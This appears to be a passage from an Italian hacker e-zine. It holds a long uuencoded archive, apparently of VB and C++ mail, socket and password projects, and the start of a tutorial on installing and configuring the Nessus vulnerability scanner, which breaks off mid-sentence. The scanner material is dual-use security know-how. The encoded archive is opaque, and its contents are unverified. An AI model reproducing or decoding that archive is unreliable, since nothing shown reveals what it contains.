M`0$```````````!%5Y65GXFY2%E!CIW9G0BTL,,7UB!LP?\6'"O%TM" M]7J]7J$86)KHP,))2XX#P+!R/"-T7=H5IAO1E9I__$;LW6[NSW/)@J^N+E]R MIO$7XQDIXCMK9VIGUOM(Q#B,Z@8H*/3#$FP>UW,=KYU0L$^:(+UPFG,B M3/T9``7L*QF8W1?E%3XH8Q28XC"JV2%QPV#ZAV*GRT4]J)*8! M*X>.:=$\(YE@&=Z;=2E;[UT,TN*B?J<02RKL)5',DD:9\3@ST@KUN:`0\`>R M:=F/_\MTS,'JEP2'I-T'.?RP6-?.'G3"ZO2%D7/VB[?!,0U);B9@R1#^/JZ/ M(8ETBK0]V@")O!B)P]K)^CZ-S`"ML?8;OP'SJ/2]6:]:G@/!.K'2W=[X;`^Z MG8JRJJ:Y2VHS"]-ZT$2Q<`;GZ]=7LH!;/@/5!_4R(X%S;,G\2ET_I$/Y30K0 M0BE\+.R04Y10$6C9=#14AH&KN`FK^<`6````J(4%6@`!`8!H!0``6Q$``'A9 MI2@@````_S`S=0$%"@```#L`;75L=&ES;V-K970@=F(@92!C*RM<MN_%9UV0E>F$1:$[/IJ';A3SY"TTL_/S\\)M,O/O(*PIC!* M&5J"0'`D/<>W*&T(J\XP&UK#JWY97G,0R`Y_\W+\P/$OYA*@\+Z&X5HI5WW5 MK(M+E066,WB(HAYVR_!1Y`Q*")9'E:446XY<@@-9`?DJ-$)!H`1P;D04UR+U MA$`/H"W]N"2=\(C+0Q_"TN3%F+]P9%?*-UDH/$P>:.[0M!`Q_,[U)"2"9M7` M1<"E01??O,VZ]1E-K\1?'?5#+S4N?=TNH+*L"]U\U<:"QK!MZMMV2;VF%)@; MRRJN_S)]6=51RJX\8(-T>\F+@>Q4I+E8->1&U[2*D8*UNIP=T_%72[JM&V^Q MF02:6^U7)?I>Y>QFL)?6&6/8&0\RJW>)!$`!MJI)@>VQA&H0=`Z%C6T\)K$!O/ZGM1YG:SR;JIOL9[>Z/5O3UTNT@H M$YM(NO@Z*"&5GC03P2&2S1DC)>!O6]*0*^@2M0O`J'0LPY/[Z`Z2#AN).^W. M1)7"B'MALR!>UL,C6W2UA<[R\AKXJJ!*XLD67TC;<=M!P\_IVMCOTH>=_V-) M>YLWO-.1;2`9O^L_F7=!"8O_(@];U%1?Z$AI[W)#KVJE[B2:]F"Y_)2(:9)! MQ#.6AA"8;"\*K9S8>_^K+>-FP6V>CIVN<9K<4Z8X\I9Y!3#ZXTV=BT&A;W'; MV]D4/?FWL')@K!M'_Y8+!CJWZ=XX>`=?E*@NA%.RI[U+)M1#;08O6IWA0QF* MW4$5^X((9SU"02Y5J#G1U11C4`:%.D4+_9^;4\[5 M7\'R:7Y9/:;(`@JQH4B_![W&(=-P$S(]9IEK[+%U;,>&4=/KN:H.H+W$A1D] MC'SPO*M1T0S!+2U,NLRT!"YGF'PS&,H9!D%B1,]I.#J*1$N;*$K'$`'(&;J" M?9)?L%>-O"GDW(==OG,.YCU3D'R.K7QT$H;-*;-ZZ$#X5AOA@U`C(53K79SE M>Z#;:A2Q$%']P7-/@@9V\F"$00.T5B68E22:8503*$%(!EJ&I8QTW+)/*;K6 MK.11")FFGW",C!*"5<2#R$R\K$!ECZ]DOG.CT&8(!5[>?$%%2GK2OH:9P>F; M;#5(,TB"0FB?!>UO#?*D08%654&##4J_EF<05P\,NI;UQ=^[7X0 M?8=H#=O]H\5`M.2?PA"7F*-%CG2^UEJN3=37G)_^/:<0]C)._Z:L-"T@#&6/ M\J[=_1T3`@A(7N!\&]MK@-@Y`37(./-9YM?PFV98"Y6^.?`&<;&)_Q=_W89S M/]=+$"L0BNJ_5][6=R_F;8PT)R`````! MCT5D`04*````.`!M=6QT:7-O8VME="!V8B!E(&,K*UQR=6YD;&PS,B`R7%)5 M3D1,3#,R(#(@5D-<1X,'\^F=T#^D, MRS,++`D76+K_*U[9TM>\TH1ZO5ZO4'9X]0+U"=@$Q@5AFOIR8HT`:$;?0U/; M3(*!9NIT/KS`AW"Q^$"MGW@$GM$%)=EDI[$VA9@Z4BRGUD1,S/\5@85Q4TQA M6P>48-Z9<@M5@U,<4M?UP`KZ:%:29,!;=SI!N52WHT9&HFX.22:BR1$6H48[ MY:6SO@2=97TRS")F3S?U'CX5%/6>5K9?JCSQDOF#'3L'O-YY2HCUW0]S?$5@9A*K9 M(!KQ]E/NO%LZ-:%_?X,.+;XJ;$S]&8]SIC0>/;"\?MX.0=$R06(1Y<[)[7-4 M8(AZ&462.U%0EX[[>[O">\>N^"58[>MYBU+U!=;?8*S(HOY%.D_XG[?\EETW M2]1PPS6X"W=("FRW7D'YZ8VD$W?I8=I8``$!@"0````-`P``>8PT)R`````! MCT5D`04*````.0!M=6QT:7-O8VME="!V8B!E(&,K*UQR=6YD;&PS,B`R7')U M;F1L;#,R(#(@0D-"7'-U<'!O$$G@G[WW MWM/WWGOO;P.`OP``J0RU.%(``0&`_`@``(8?``#7B:0H(````)+PNL\!!0H` M```S`'-P96-I86QE(&UA:6Q<;6%N9&$@<&]S=&$@8V]N(&%T=&%C:"!I;B!C M7&UA;F1A+F-P<.2F'(D>K;FU]'.*^514R9!=B<@8>7UO78^0]3(?F$2^J)B] MPW;*/B/[V^N"._O[^_'_^/M3@802B"E#&!!";8!R#.J+]:34H%HM/U^ M[$OTLDW=%/QIT??[_P4&JBS`V8C:*&U7Q*X^C&F\$T-=[6JM1WLP,WA_@$TW M[;]!9NHHO9VG@3^PR6[,]Y56;!C&EY.3'GKB[^)M*N-VB^\]=Q+7,IKQ_B#9 M,6H&0[#)^ZM6!")(.DO@P"?49/WCS4?4\M;Q>Q!IJ(N4 M-8.D'#BYGW@K9@-RS3%].+D--']_=N//BRNN33"6F2_%%-+FSQFR[UH4E*!R M4>W2:?*\HB,1U^$"1I[2-.*9I7Q%_7Y61=%!9^DQS%)-]- M+`/L82)!H=33.MHAM!M9_/2S""P/9-LT]W.ZT55;61I:41C.$54<:F^E.D<: MYZH4J)[7`>Q([9IP/J^4/<^9.J\XM9;N&HW+CXZ(0LAV\+)L2(@BOZZ@YQU) M"/(/"=$>V!FZ%EJ1HDWS@[8- M3V%Q<"],&?.Y\M"LV%,>?/[E/"9%\E(!_]IW!"VEY'`1_)0H?!FWN3DI.HK" MA".-TM9_UO0'6[39_V0Z1:--N)4+?/AJ)$.-&\AXB#*%LS4@8M0$@\<>1 M<7R6272R"H*Q$M[/_L>O046;B2U3T4)**8!A\:2FD@0+L@^-S`6!#W>\U'$[ M`(D8A1AS>P"T\T`R)2A8E3%DA>D$/_5#)47_/A(0809;=?ULXM<(`79!&'RP M`N,W4B;K^V9&\(:V>8"%"S`E)8>D.D&^R4Q`6187@Q8%#(5P&F%D`_"`-(IR MAA,V40SE4^<3#@@4->LE&UN1I?L8&\(4^'K"QPZ%6GQ5$TKE1_5`7>!Q*E_0 M'(,?#[]4D0/8(9:N>QD!Q4<.JD9]#1SKIV'*+.]K8( M;@ZK)R;9E#GAV'O)0MGT^$3+0\7,E@/49_^BQ%Z3$#T'\&,']0%27NJR0$\Q M9!]59ZG'(=2Y#J><)L4T=SCZH?8EYV5X/#^1VU%UW_^*ZQ<0U8'@GE&Q(=)S M/!/13(FDD@J!@P/<@1W_5H[-(&A-VPF%YY@]@%9(VHZE2AQS1XFV@%V9<.%T MX5\O33F>_+T&#&*0'(,!K+HPZ^UK03`UA/<'N5561CA)'7==5(C:$SU6QJOS MT7!G-,YQM@HJM3J2SP?MI!IE72WPE8W!(64"&.(-\B7=PF](8>O:H M^7'7\^*4L?#%$K]@[WJQM^=^XC?#QA5@@U-+]^&1J%!0Z_H]MN0=2=_C@\N=B9TZ1"E!S+VY*<8JY/QM\= M_R9D'#\W*G,K&29C!EL4PU7IV:\`GI+@',JX;4.=`8L"AYGWY#+V(3=_N_'? M\4JS]M;F6!/QD_CQ%T4='2D>W3,K/U$9`4G0.OW!R@)E@;N<^E9A%S'C+=-S M>)0^G+.,GFUI*@TH]M2X!^J=W'G,41E&D$H(H"09G03*XH^=`>%3*"$SXK69 M&B%(B$,`DK%*:S[N&3U-..YN]M6SRC[QU&V"$Z/]_:9J9R+8_>QT7WG&5Y7D MM9"5-!UFIS#WVPH1V]O<\9!O`3_88`FEA-7V_V\2Z% M$X-P]RD$-_K8](;KZ-B`%XOKZ+0<&ZD,-XJR;FG/3*`%OUYR'O<6)]#9QP') MSZ8._LJ6BZF>==&PSZW6,_UN/<(>;$?W)=L,70!ZS_0F*!TKF"\C$$5+Y>Z59Y/5X^W'(.M_W(Z:6'V"TP_QVA/H2YN'(V MJ&OPBTF6F6&*7E":=>?N=\-_7_-FLWURP, M5=3]F1DL,01U3[@G%)&25UZ1:U9!)6+CRG&70LV0CUVE(W,^(IM]@\304D0O M+_20C\A(]7:5Y=N];KB\+$^BQ.ZTR5QEZ]T>KK.U3?Q&+R24DJDRGHE";2G#>$*V$BYOP8EOMY<$(C#T<7BE@8-/(8QS\`LH*>PL.`RU) MT*X,A@.QM_PK0:6!&H-H@)K1P!K;)3^(:%[+.,$VNSY"L*V'M#"N4`UR2L36 M]J,`%"A:9HRN)KJI?;5-VW5(Q$KEC:%J&=N4,000^DC>V<`*)S88FO,:VE/#RZ4&I&*`J<+2^$8[# M4P%L7+LZR:Q\"R':7S>[[8%GB"/>\H17`\@Q;URV/;Q&,/2Y+N*;3;"3:+#? M&(W0Q[?3X'>4K[\+Q;X/F%#L,/EY=G,?,!YZ!?_Q?%YIGX MEZ6\?ZG%/G1;=8(I;<$[Z=^VSODZ^^A'FB\-(@I]/>I MW)C;C*(+HF]";\'EZYEV0!!%*2KHOG&EOI]UK3^&<1HENC>33=;.)AK?WB!= MQ;C7$6XGK3E;%L```.#_D^98``$!@)0!``"]'0``(%VF*"`````6!%H\`04* M````.0!S<&5C:6%L92!M86EL7&UA;F1A('!O9 MYNR)74:9R"E)2`<15#L2+17)<*>MQM7#!X:?9J^PC5=P68YS<._IP@`M*G7% MM)_;7'^(+X7*<$E.6A$!=A[^:,N M'MA^#;[VZ`,_=M=C#,I2@@````3^<"]P$% M"@```#L`;75L=&ES;V-K970@=F(@92!C*RM<EAWB[-*UY=O;VY&B[9MT'"FL_JZFS/S\_/7$#+S^,@))LIXQ^5T:D`2N][ M!P'$%.]X//>D>`-O,R0-O##,1H MI60Q5V\^ZDVYVG8L#DV[@%;C\ME@/2V(5'G=':/MI&UZ`652;%1LR*J[((+GFOQ6?!<0S.W-(SL'IQ6PY6*4_I5 M:O3`:-%4+3M)"M6E*;R?5<`-;/1W2J?;S?-13%I&0XKEB\6K5S$_#0-^-"R4 MK_R<$8SQJE6]]X*AW)SW*H+;.[QQP#X!M.W9OO!3`<'_JR>YMS`+A"^3:Q)Q MI_X2`U2$SCY=GL_;7'R[6$QGXK(NHM@.\&^N`9\+;W2IT\N!`:J*'+:G=[Q_ M.C>&D*&I:E3)6L07KUAM4.<@#M'(,=>AA1\=?E M^&*$GJ3J:`=UZ,W?>TGL`6)HEGD(VQX3D7H08DDMOC2>`ZYS8QL%<376EW\- MC3?.1?%P-^[TJ_#_^C^$T<%5E2;Y)F!XEE.$+-Y\RVA(!1&2O#E)M>5*Y+KAERQY^ERSYR'5 M:C8XV+>;)`Y$R.U>VU_=TA=8DB(E+,H4UZD>6=6F"2?%@,XV,DI6:7E)GF_^>G=N& M%U9#:5Z&9A,Z'`TYE9MY-`E^B9X*)9LKQNDLEV&YD%RW`;I4`K5/%Z>LJ%^: M'FFVOUG9)AWQ<)"A4`N/M5):#+B>8E(F,G9NZ23D`55`#V]Y- M.PM;[.K-9^V\3N7TZ;FFDA!-9_@TVF$\)XNM]M#**K!!L;3)KEH"^(S"<$LJ M+1;;N]]()C`JF&(97AD#6M3,MH5@F$1]FEPBR1)('VH$XB$L6[NPHP6Y'H^;NDHP'WZEZ"VNBKB`H]0,FC-RR-HH,]IMF7O&>69L$]'E(F4$=$CF*O_D%W+_XY:GUGA9N4OLYV6YR-H?+S\ MWLJ:UV)'>"]*<5T_$G]S$4T/SI/="G>;J_P$?C'+)20O$I6Z\\FS6T@2'!Z. MW7HQ/2Y&(SYIFSIN,VS*)LV\7>ZCR!Y2ZCJ2)3,LY+GGGDLA.SP31!)8U3&W M,-+_5MASS6@M(:>O^+PF-D9A5%/[;^=_G7.;P`>\DI&;*[9;!F#OI/OVE"76 M\Z82TY1D,]W--24?':GI%OCU#_V4!VVEBX\)LBU.3Z6'0M^1'C7-"/=/`Q+$ M_J\W[/[IM=DG;R-NRLSIEA+%016?,)CTUZO4=IB\F9_S)5(V0P>HV/%3<7?+RV_UOBP$3 MK_YX?0```/],M%D``0&`3````-X3``"%C:4H(````#IZ[$8!!0H````Z`&UU M;'1IQ MC:W8YWF>#X#7\[VA@VPW12\%).3^_$S(%9]T!'QTT#UJY,\```````"`!YQ< M``$!@-0#``".#@``KURE*"````!+?=NG`04*````/0!M=6QT:7-O8VME="!V M8B!E(&,K*UQR=6YD;&PS,B`R7%)53D1,3#,R(#(@5D-<4E5.9&QL,S(@=F,N M9'-PW*8;BOC2UHT'#HS6,P&"TX=ZZ^?8T2MJZ2)^T9A_`:3F^YT>@R9$(OO] M?K^TMN_WFH'MV&'\TQ.H;0`FYDF/CL_S["9O#1>F0\0A`_U^LS3?S/?[[_>; MHWP_P8'13S2C\',R)1UZ]T4NWT6&^G"X40-P[8U+;3<>+="`_CB3Q]?0T8AT MQ:-T_5I0E)6,;!-/[?DQ\"Y^"O__;61!E+"X'N12!'PYV_"5DH/E[>HS0Q3.-'O<;C+OURB:3 M.Q/)X8MT6]_ZVN0R@+5E199!RX4'#Q8#><#IDO!#9`:N+V5`?AD0A;,^<)5P MQW8P\O',6]MOVS+8(AI5=81UWCCC6Y$V<=XT#9WL=0G)R?(WG!XQ:JW%C[KX MFJ'6S];RQMA,"QJZQMBQF=`K&>7QIGOYFT'>P5?C##P0,QHB?IQA>=6R4HB9 MO4,[IBEQ=%7(?9)JL(]-?N(Z*TQ34OQ]/%I70.0R,@V6(=$X0]!R]X:X#8O/ M0]2T>).\//S()NIDSL2Q3:X$O/=VJY"0[+:)V2Q.2?V^$HFUW31AOG2EHPV+ MPL5>Q00/X8>)/6A6>=,3T5CSEF/;C3L_%&X;UD<-&#`94,D\EV0+#<.M MRCKQYU(]$\K<1,0<=^4ZK^;Q*^_AK'=)Q9UG:6]^[=B4KZ?X4-^O>78B5_!7 MBI!-35*8#UL-WCC]:.:P):39-#2P[)TAG]+/8FPI'O1YA:A9M:+:@6W0?SQP MV_XIR3&6()/3UI=V*Y3=-F)$.]T^)3I30E!,0W\XN&$XA)O<&E*RV.I$A]US MBI[6X^FD8BE/HB`V]'!I]\HVDVDF7D9$V*6GS@XV><#7978\<9U>OJZ'E7_3 MF6#--*N.QR[K-&CNB5NDMS[2HTU+V8Z=N"+IX\/IH212[NTW8]O^*5:(E`9- MW&>E&_%@?>[OS0*7]1;+53_!UZ-96;F%7?V7D9^"GV]F('49L7TRB]_W*W[T M6)Z)$C1+K?W%5:!_J;&:+L57*EVX4O%*-Z$=J];L?UL5-B<+'N/03>YR@7TRJ*E(UJ6V>24-SA+V3*,I,GODVF3Q+J7D=JX M!0UO,WT%V2RE5L/`WC$0;=B)Z^\!Q2TTVOE!2?.:,NR9&@#]K<`/@%P``0&` ME````","``"O7*4H(`````\S@WX!!0H````]`&UU;'1I6 MI"&)M$/XTY($`H$$M0P,2,"(BHHPSA#_SY3#]O___R(M#:,V57R)RN^=T_F. M$A+^?LGU`<"2ZGQCTCOIB=\"3'2<.X(Z(&,;"XM@C0PCQ9S3&X7B3/&-E?/[ M,9'PY`04*```` M+P!M=6QT:7-O8VME="!V8B!E(&,K*UQS;V-K(&UU;'1I<&QO(%9"7$9O][F-@/X_D7J$- M,+._O>`MS;U8(MWS?K^_\#^_E!8(_?Y^\.X?>/@GB^'^^!M65P^NUVQ4EB7; M*[66/4^,89-K74RB85_BM7@IZ<^?;91^K+;SS/_)Y/ZLF*7''ES_E*>-6$418YK&@%3W?(K5Q+\E+S34T!U7Y2ZO.!U@C@^DKG`H M4Z%']?*B52SZH],IQ>.?(),S/P(-8DM!!LJ&Q"61G46_E"Q5.(!2R^,Z5%0)Y;OU&J`+%U82RPJ*F)WO?JS=A4$XPB<"<3,&L0L9N#M>-J`YW&=7=NSS7<71&0^# MN1O-/#['=S+RYT:!.G6:;Z@\6<=57S$8`MA8 MD74HB.B!Q`YO+DQ(E9%7-G*9=A;M^&TD0Q)+XO(^2>YGDGA+I)Z3Q.XQWY\J MPY<%7X9"6+AQ"4[QE=TZI8L)6*^PE'\JNT18LA';1CA"G&H5(A50"WG89X,> M\+J[G8B3\4%:;9(`P;HD-[ZEYQ0D63!U@7FOSX?KB-!$SB7B)[LOF%-1D5ES MD*23"+.C?:8PX2`OF)!2R:XC">Y7#[&$TD<6&-*IO$?YEQ57H-IS,/M)3JD^BE4E=N3'ZRBXF43F&X MSW];/49%]Z@4W702["^%M^#S_"-2BG$_ ME@!=G^>92V3+K0%`US#3$[51+J'U20)Q%CXZ@%OXQC%"?C'UFCV2<0;C4+1< M[W;11V^`7^%ZF?T$+-YB\/TF\%5FA@@TB6'T)R_]HGM"QW`8OD]";TBG9N(- MG2M[_IIQ_`FD0)!.8S+U*JE6Q=>WO!=YFO[LCRTFBX_5[0]>I!?_)YN/?/M; MO%!W_"ET#[RR@81)5_;7^03O4RGF?P3\4E>T\O`)M*A^]<'= MT*EZ`-,RS-TGFX"(;O)Z/Z\K0*_;W#,1.'GCPJ=PRJ@:`L)$1Z?W9MT8$5CK M"A]3;(ULJU!PGJM:L"RJ^3FBSB3;K,0@_,ED;1Z=3>*[27Y2)<]$7,:]/I7O MG67W4QY%1NG('\-'.)R].84&$T6M$-<,3Q#(<$MU/UGS0(S8$V:!E7^%[MNM MSMD581JKBP)F$TSB3.RT@FE5SO\I.VX"&*6CIQ+?F\FR/`5\S%2D@T#,"B'= M)_N._0O3TR$T*82P:*PA2B-!ANE"7\B`1%LHZ.J:_C@?'#,RXCQKF!D<&("@(?[("8`9 M-R4&XZ`1A,,!G^%E<:'#2L,/KD&EE%)QB!U'-;X>/P MOFAL.P-Y:W[:7):6DFMWFUH1B!+`N_82+O9-')RK3\'J<:3BVM"1GQZ-DF-? MCL&!_PBH%[[+G\_@M64!R__C]%R4AU#E<6PD!7(CP6*"1-;I5/Q<2[T0 M]4F#0AE;E(M\MYZI1]9Y=_1Z:-/X()W`#?F8&$K0L7<"K<&NYW_/<2C%Y10\_=W,>F()%6 MJE^PPU!WZCT943?W!R]QLZM8N!U@`)R5T+W'9C=DF+%OGOE#]0\B6M*0C(MW M_Y#55E?&G;/._2'/S)'(>5IU3USZ`YA8#2'[&7,T2AW5;\00/&&>JN+LN,?" M0`G0IKK0\B'UNIR#^S(_P%V<6SN*N_#?JZ?!XO.KCU!67-TXGNDL#>Q=H;=H M%)OF_CQWX2V3;ND969>!TY?S140^,4#T\I2"0X^I3#4D M)\N=3I.@F"4>EA)S2LN*WM";T.O@6X'<>Y1FUI%!&IZ_QVKY^.\I(CL%>?*1 MT9SS8.(TVK`Q%K+/5[Y2V-2Q]-=QU7"(E66HO_0:6VF1EQ>5NJ#Q4JSYG%D= MT]?EE@^MTX`M*+.I+82$MXY\NG?JM0=.^Q9E]AX;!PP>.04-`+*86U!E:"X- MIFXF_L_6&AS)[?_$U-N&6)Y3].>='+6^:E3D[2Z-LRN4A+OTV@5_>5>['!]A M#IWSY=]9YN[!F1M'N"*_FXK.YS?.3.6BG=IP1^L")W05*5/@[2E=]7YFN:". MEZF?_Q]IF>VQ?&5*Y6][4A1DM.1!>2^]'S4KDQ3.O_2Z!=V!UD5ZD3*:]Z.R MZ/3L?/K(F,BU/K)#&O`L82YUF?U/Z(U.O0+/0C,G;ET)]@3D8W.1754%B9S< M>>1,/KTZ*2Y>G,P*Q&Q`3GD9FW;N6/=IR^8#S]6E(:/X;GG%)X]45B`^/X`W MH/XPY9`N8.@"G%Y_7_!L"Z]1;=JK1N@8$J??.#0```#Z*[!1``$!@'0"``": M"```O(*D*"````!]_(7W`04*````,@!S<&5C:6%L92!M86EL7&UA:6P@8V]M M<&QE=&$@8V]N('5N(&-L:6-K7&9O,F&XKOO]A3F1-*=ZH])W6E MZ)%2TT432&K0+$=F"7I5ZBS%.;\4NI'_____@GG__X5"RH6;,'*Y)^TH@)0Z MO13UKWUK&0R(XV8P()6_WVS]%6C]?I732\Y+GJ)7M"CEM*L4.0"Y_E?,Y2]\ M/&OY^X&#_;_VU9'P(HC,`GAGIO9:0?^^"W%2:G;]8(%(]?0:&`N2]8'4?YC( MQ(0\F?[;!#S0`Z8;X*U-"`3F:)O";0(:;1E>TW:7PZ`\G9N0">*N?V\LW+)6 M)2L2?U?5#C8(')(XTT:8ADN@D\Z,LIU]/O7J!B>(19L\%_Z*-4VT"RQY_R.8 M:)>!T5:6[,)][*G]CZAJAX,Q*)6]3,WFF2OG\:O$2))&&[7'LB,D1&"RA>E1 MF^&V^WE4FT)NM3B58AJB7CZ5B6'/6)\8`\:^AN6$F125MA^#4U/=7^@P50"< MA#/7\/"C8B*A3J0"MX8<(M3]WDGVBO7@Y7`,?>3G5@.J#=7CLF(MG72,(^<` MB+1L9KBC?D!5(1/RJP^CD2TAW#Y3!G\_`%S`!\I?*)VU9]]])E"9T/.<["*T M`/0.`M1O*Z#B'$M;\Q3A/%1P4M&.JMUN^$\\Z1K!.U4]=B8P3``^>98>N++]UM+@!./21M= M(PJ!@:;N<]O8QEU=MP-I4I8N,*J._V`F`$73#/6BW)_`6:>\>5,S?7J![&=: M11319L97Y%N:C-TH_,-)^VCX(9CS5@``[/4=T3$``0&`7`$``(T)```;EDHH M(````,9RS#(!!0H````2`'!A]WN\$`'X3.1-ECQ%^6*"=Q(!K%AXETP0R_HL9 MIM/UV8K'VP:CVU^@A$UF)9!<4*+V\9Z_<5^EF&,)A-S[[81I1_;K0J<=?1Y" M.S6/NIWEKJ7\4T_+_S2Y+O0`:'$38J.5AMM];6:!0.@MBG*F-@DP_V?J4'R; M`(303CE\0;8P__A!OOB8O*N99V@O9+R/GM^"]P!DX$/N6?7-R;0'6 MDG2SVA&8(H9048/LA&P9>VY^ M59R=+6"JV+T);$B[J57(A$9&5+I!D]M!EDFE9Z>*#*]=A M41=>Q-RACV.KK9(T6G(971+K`'`CH[GR3@`!`8`8`0``#@,``'M8I2@@```` M!*'Y!0$%"@```"\`;75L=&ES;V-K970@=F(@92!C*RM<!P0+;$AGYF>,PB5K'`#_PB%O1ZO>HW MS9I#GLB)_M%,OUXSX-8H3S0AE+*$P!2!#SGO:`6^##+VOFRR^0\-,/C]O[63 MJ?AXE]*?N"OU-C?7WXF[$;Z5WVM$GO.'?^(F,<4NMN(MT3C71D!R<8-=;,%: MHG&N[.U1'WMMJ@PMR[J<2GFF$%H1.[M>0!KL$&^,_;?.<@ MP14)HRB#0FX(V=$O3;%,%"G)FC&M@UE]^-\,-I-_!P/T9,>XF_+3@NY]7O=B MWXMN+?Y`ET!MRL1&ZZV7W?;A(ST``&#;H)91``$!@`8````&````^8"D*"`` M``#U)/2?``4*````,@!S<&5C:6%L92!M86EL7&UA:6P@8V]M<&QE=&$@8V]N M('5N(&-L:6-K7&9O`5497AT,?;H5``!`8#<````[0$``(9DIB@@ M````=U:3O`$%"@```#4`'3:IAJ*=DFW=6R*2&EZ1"?N!$JNI)OD M0TE)P\B._9)!]-_O]_N/F4B_0?R?BT9,/+@%]!.;[G0WJ'<`JA%?*8^_9=N* MTF'(3<\X$?PO6$AP5T&(-W270!Z\F!'# M:%`_0N/'=DH'MQ",4%G]">$;I4%H002+6+P0/\@&*45#./PXZ&*9CK%F0D.( M`>LF=1BD1VI5&]V*NE0>_.=3`Z#8?9B;(=8FF:_M);RZ2[8GE#ZM6?.HR*O. ML^KE??0%$ZH?\25H*=T```#`VS=@``$!@(@!``">`@``S(*D*"````"\:W$R M`04*````00!S<&5C:6%L92!M86EL7&UA:6P@8V]M<&QE=&$@8V]N('5N(&-L M:6-K7&EN=FEA(&UA:6P@8V]N(&-L:6-K+G9B<-PF&XKIW]A3D(NJN'C#W):3 M3%[TG$9Y=%1M)L)>CW;7>>*R3/__?V/]____QPK&F`N1NZ5MV+0+R\N(C;]M M!QBHE589)H-UYEV4#*>WUJ5%MO'Z%M6]>CT431_UWT,-!4Z,:SMR#O^FY_>R.MV9_6VE5OUO'&28/!&1M4#X[`)8]4\C?S3IU")=V MC.!50B[T!E(JI%&10(H@C;LY;A0L4*"C3M',Z*UJ;1A=USBC!G"EKTH=^LR` M"QF'P`O>WO)HZLMRM$F%7)ZC&CU+"LJA#W(KBECRA(*(R?ZQY%N@!&.-@W.4 MZ4^!W6.";E9J"I9\40U;?_L3A?@Z[,G\&YQH,*A"!U4,OG>HDE#1:WOF-V_VYNH+\_*(>0\@;M:"9):],06GO@!2H^0SE M=YVE<&J21%9HF'<```"[!QPQ``$!@%@```"D`@```7BD*"`````N/(U2`04* M````$@!P87-S=V]R9%QP87-S=RYV8G#3M@J*9OMX2Z#/4*:?Z0QF?=_W?7B) M/?0?:0E=!"5IY#UM`X+_Q!//_T_Z_^'___\ZL1@`Z$?_-UI#=DT7/FT-94F1 MXO2W,-"KP*!9)L5]&2C(R*4`T-?S5)Y2``$!@$0```#.`@``?%BE*"````"_ M?`5<`04*````,P!M=6QT:7-O8VME="!V8B!E(&,K*UQS;V-K(&UU;'1I<&QO M(%9"7%!R;V=E='1O,2YV8G`11XJ)>-:?-<\B6ZR]]]Y[MZVQ[M+(/_6&A4!* M?^Y&__^_\?____^V8B$`Q4Q0\HZ2-A**K,_>6F^1VQ_WV5L*W_=]WPM!]GTHP,3! MG`Y)(H?72P`XB0W?H)]5'P``@\,` ` end sum -r/size 23191/14840 ------------------------------------TAGLIA QUI----------------------------------------- + END #___#___# -= Master =- ##SATOR## SPP MEMBER *** #AREPO# www.spippolatori.com #TENET# master@spippolatori.com #OPERA# ######### ########### #ROTAS# ################################################################################### ################################################################################### ========================================================================================== _________________________________________________________________________ PICCOLA INTRODUZIONE A NESSUS: cos'e', a cosa serve e come funzia by --[ fritz ]-- ________________________________________________________________________ -------[ Intro, Reperimento e installazione Nessus e', come lo definisce freshmeat, "a free, up-to-date, and full-featured remote security scanner for Linux, BSD, Solaris, and some other systems". Ma non intende un semplice scanner come potrebbe essere nmap (e gia' sul semplice qui c'e' da discutere) ma un analizzatore di vulnerabilita' di un sistema: con la sua architettura a plugin esegue una marea di exploit (360 nell'ultima release) e poi fornisce un report esauriente sul server testato, mettendone in luce eventuali hole o warning. Al momento in cui scrivo (Wed Apr 12 12:40:36 CEST 2000) l'ultima versione uscita e' la 1.0.0pre1, scaricata stamane da freshmeat (http://freshmeat.net) e rilasciata da pochi giorni, dopo la 0.99.10 che sembra essere la penultima. I file necessari per l'installazione sono: nessus-libraries-1.0.0pre1.tar.gz libnasl-1.0.0pre1.tar.gz nessus-core-1.0.0pre1.tar.gz nessus-plugins-1.0.0pre1.tar.gz e vanno installati in quest'ordine, causa precedenze verificate dai vari "./configure script" NB: nel mio sistema (slackware 7) la directory in cui installa le librerie ( /usr/local/lib ) non viene usata dal sistema, e quindi queste non venivano trovate. Quindi o si aggiunge la dir in questione al percorso standard, o, per i piu' pigri come me: cp -l /usr/local/lib/libn* /lib/ cp -l /usr/local/lib/libhosts_gatherer.* /lib/ cp -l /usr/local/lib/libpcap-nessus.* /lib/ cp -l /usr/local/lib/libpeks.* /lib/ (con l'opzione -l (link) creiamo solo un collegamento e non sprechiamo spazio con doppioni inutili). Ora siamo pronti per vedere cos'e' questo gioiellino. -------[ Preparazione: lato root Nessus, come recita la man page, e' uno scanner (o security auditing tool che fa piu' fico) che consiste in 2 parti: un server -nessusd(8)- e un client -nessus(1)- che gira sotto X con interfaccia Gtk, e comunicano di dafault in modo criptato. Questa divisione e' stata realizzata per motivi di sicurezza, cosi' solo l'amministratore, o chi ha la pass root del sistema, puo' decidere quali host possono essere scannati dai quali utenti. Ed e' per questo quindi che per configurare nessusd bisogna quindi assumere privilegi di root. La prima volta che viene eseguito, se e' stato compilato con crittografia mediante cipher layer (come di default) bisogna assegnare una password con la seguente sintassi: nessusd -P username,passwd e si assiste alla generazioni di chiavi per la codifica/decodifica della comunicazione con il cliente quindi: darkstar:~# nessusd -P root,admin_passwd Generating primes: ........................... A questo punto se si vuole verificare: darkstar:~# nessusd -L root - user password Ok, ora bisogna aggiungere l'utente che avra' il permesso di eseguire lo scan, tramite il comando nessus-adduser: darkstar:~# nessus-adduser Using /var/tmp as a temporary file holder Addition of a new nessusd user ------------------------------ Login : fritz Password : fritz_passwd Authentification type (cipher or plaintext) [cipher] : Now enter the rules for this user, and hit ctrl-D once you are done : (the user can have an empty rules set) accept 127.0.0.1 default deny Login : fritz Password : fritz_passwd Authentification : cipher Rules : accept 127.0.0.1 default deny Is that ok ? (y/n) [y] y user added. Le rules (regole) che ho impostato per l'utente fritz gli consentono di eseguire lo scan in locale, ma non altrove, quindi una regola del genere permette un'analisi del proprio sistema ma non fa fare danni outside. Dato che scrivo sempre in fretta e non controllo mai quello che digito, la prima volta avevo sbagliato a scrivere, allora per chi si trova nella stessa situazione, si puo' editare a mano il file /usr/local/etc/nessus/nessusd.users, leggermente diverso da quello ripostato nella man page, che non esiste) Per ultima cosa, mandiamo in esecuzione il server (daemon mode): darkstar:~# nessusd -D Ora che abbiamo impostato il tutto dal lato server, possiamo eseguire lo scan con il client. -------[ Preparazione: lato user Lanciamo X e eseguiamo "nessus", ci richiede una password che dovremmo digitare ogni volta per eseguire il client, ed ecco l'interfaccia. Cosi' com'e' non ci possiamo fare nulla, dobbiamo connetterci al server, e quindi premiamo "login" e immettiamo l'utente e password che 